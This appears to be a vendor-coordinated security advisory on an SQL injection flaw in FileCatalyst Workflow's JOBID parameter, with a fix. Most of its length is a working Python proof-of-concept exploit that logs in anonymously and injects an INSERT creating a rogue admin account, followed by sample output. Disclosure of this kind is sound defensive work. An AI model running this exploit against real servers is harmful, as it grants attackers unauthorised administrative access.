Synopsis
A SQL injection vulnerability exists in Fortra FileCatalyst Workflow v5.1.6 build 135 and earlier.
A user-supplied jobID is used to form the WHERE clause in an SQL query:
// class unlimited.core.l.p
public xc findJob(String jobID) {
if (jobID == null)
return null;
if (jobID.equals(""))
return null;
b query = new b("*", xc.ps, xc.yr + "='" + jobID + "'");
xc pjret = null;
ResultSet rs = null;
Connection conn = this.hb.getDatabaseSettings().we().b();
try {
rs = this.mb.b((e)query, conn);
[...]
// class unlimited.core.l.c.b.b.b constructor
public b(String columns, String from, String where) {
this(columns, from, where, -1);
}
[...]An anonymous remote attacker can perform SQLi via the JOBID parameter in various URL endpoints of the workflow web application.
Proof of Concept
import requests
import argparse
import re
import sys
def anon_logon(s, host, port, ctxpath):
try:
r = s.get(f'{host}:{port}{ctxpath}')
# Find session token
pat = '\/workflow\/jsp\/logon.jsp;jsessionid=[A-Za-z0-9]+'
if(re.search(pat, r.text) is None):
print('[-] Failed get logon URL.')
return False
# Redirect to login page
logon_url = re.findall(pat, r.text)[0]
r = s.get(f'{host}:{port}{logon_url}')
# Perform anonymous login
pat = '\/workflow\/logonAnonymous.do\?FCWEB.FORM.TOKEN=[A-Za-z0-9]+'
if(re.search(pat,r.text) is None):
print('[-] Failed to get anonymous login URL. Check anonymous login is enabled.')
return False
anon_logon_url = re.findall(pat, r.text)[0]
r = s.get(f'{host}:{port}{anon_logon_url}')
if r.status_code != 200:
print('[-] Anonymous login failed. Check anonymous login is enabled.')
return False
return True
except requests.exceptions.RequestException as e:
print(f'[-] Exception occurred: \n {e}')
return False
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-t','--target', help='target hostname or IP address (include http:// or https://)', required=True)
parser.add_argument('-p','--port', type=int, default=80, help='target port (Default: %(default)s)')
parser.add_argument('-c','--ctxpath', default='/workflow', help='Context path for the FileCatalyst Workflow webapp (Default: %(default)s)')
args = parser.parse_args()
host = args.target
port = args.port
ctxpath = args.ctxpath
s = requests.Session()
print(f'[*] Logging in anonymously')
if not anon_logon(s, host, port, ctxpath):
sys.exit('[-] Failed to login anonymously.')
print(f'[+] Anonymous login OK')
# Add admin user 'opeartor' with password 'password123'
# Works for HSQLDB
url = f'{host}:{port}{ctxpath}/servlet/pdf_servlet'
user = 'operator'
password = 'password123'
print(f'[*] Performing SQLi: add admin user, name: {user}, password: {password}')
sqli = f"1';INSERT INTO DOCTERA_USERS (USERNAME, PASSWORD, ENCPASSWORD, FIRSTNAME, LASTNAME, COMPANY, ADDRESS, ADDRESS2, CITY, STATE, ALTPHONE, ZIP, COUNTRY, PHONE, FAX, EMAIL, LASTLOGIN, CREATION, PREFERREDSERVER, CREDITCARDTYPE, CREDITCARDNUMBER, CREDITCARDEXPIRY, ACCOUNTSTATUS, USERTYPE, COMMENT, ADMIN, SUPERADMIN, ACCEPTEMAIL, ALLOWHOTFOLDER, PROTOCOL, BANDWIDTH, DIRECTORY, SLOWSTARTRATE, USESLOWSTART, SLOWSTARTAGGRESSIONRATE, BLOCKSIZE, UNITSIZE, NUMENCODERS, NUMFTPSTREAMS, ALLOWUSERBANDWIDTHTUNING, EXPIRYDATE, ALLOWTEMPACCOUNTCREATION, OWNERUSERNAME, USERLEVEL, UPLOADMETHOD, PW_CHANGEABLE, PW_CREATIONDATE, PW_DAYSBEFOREEXPIRE, PW_MUSTCHANGE, PW_USEDPASSWORDS, PW_NUMERRORS) VALUES('{user}', NULL, '482C811DA5D5B4BC6D497FFA98491E38', '{user}FirstName', '{user}LastName', '', '', '', '', '', '', '', '', '202-404-2400', '', '{user}@mydomain.local', 1714014839723, 1714013661166, 'default', '', '', '', 'full access', '', '', 1, 0, 0, 0, 'DEFAULT', '0', 0, '0', 1, '', '', '', '', '', 0, 0, 0, '', 0, 'DEFAULT', 0, 1714014752270, -1, 0, NULL, 0);-- -"
params = {"JOBID":f"{sqli}"}
r = s.get(url, params=params)
print(f'[*] Logging in as {user}')
# Get logon token
url = f'{host}:{port}{ctxpath}/jsp/logon.jsp'
r = s.get(url)
m = re.search('"FCWEB.FORM.TOKEN".*?value.*?"([a-zA-Z0-9]+?)"', r.text)
if m is None:
sys.exit(f'[-] Failed to get FCWEB.FORM.TOKEN')
fcweb_token = m.group(1)
# Logon
url = f'{host}:{port}{ctxpath}/logon.do'
data = {'username': user, 'password': password,'FCWEB.FORM.TOKEN': fcweb_token, 'submit':'Login'}
r = s.post(url, data=data)
if 'username/password are not correct' in r.text:
sys.exit(f'[-] Failed to login as {user}')
else:
print(f'[+] User {user} logged in')
'''
# Access protected URL
url = f'{host}:{port}{ctxpath}/jsp/about.jsp'
r = s.get(url)
print(r.status_code)
print(r.text)
'''
# python3 fcworkflow_sqli.py -t 'http(s)://<target-host>' -p 80
[*] Logging in anonymously
[+] Anonymous login OK
[*] Performing SQLi: add admin user, name: operator, password: password123
[*] Logging in as operator
[+] User operator logged in
Solution
Upgrade to FileCatalyst Workflow version 5.1.6 build 139 or later.
Additional References
https://support.fortra.com/filecatalyst/kb-articles/advisory-6-24-2024-filecatalyst-workflow-sql-injection-vulnerability-YmYwYWY4OTYtNTUzMi1lZjExLTg0MGEtNjA0NWJkMDg3MDA0Disclosure Timeline
All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.
Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.
For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.
If you have questions or corrections about this advisory, please email [email protected]